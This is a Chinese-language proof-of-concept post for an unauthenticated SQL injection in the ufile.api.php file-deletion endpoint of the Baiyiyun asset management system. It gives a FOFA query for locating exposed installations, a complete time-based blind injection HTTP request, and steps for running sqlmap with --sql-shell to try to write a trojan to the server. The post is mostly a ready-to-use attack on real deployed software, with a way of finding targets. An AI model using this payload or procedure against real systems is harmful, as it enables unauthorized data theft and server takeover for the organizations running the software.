百易云资产管理运营系统ufile.api.php存在SQL注入漏洞
描述
百易云资产管理运营系统ufile.api.php存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限
fofa
body="不要着急,点此"
POC
GET /api/file/ufile.api.php?act=filedel&fid=1%20AND%20(SELECT%207357%20FROM%20(SELECT(SLEEP(2)))UPCw) HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
漏洞复现
fofa中搜索资产,共有154条数据匹配
以下为登录页面以及页面特征
访问存在漏洞的接口地址/api/file/ufile.api.php?act=filedel&fid=1
返回以上页面即可,如果返回403则无漏洞
构造payload
将URL放到sqlmap中进行测试
使用--sql-shell猜测网站路径以及是否可以写入
看这个路径用的是wamp搭建的网站,从网上查一下wamp搭建的网站路径是什么,一般默认是/wamp64/www目录,不过查看@@secure_file_priv却返回了内容,也就是说无法写入。。。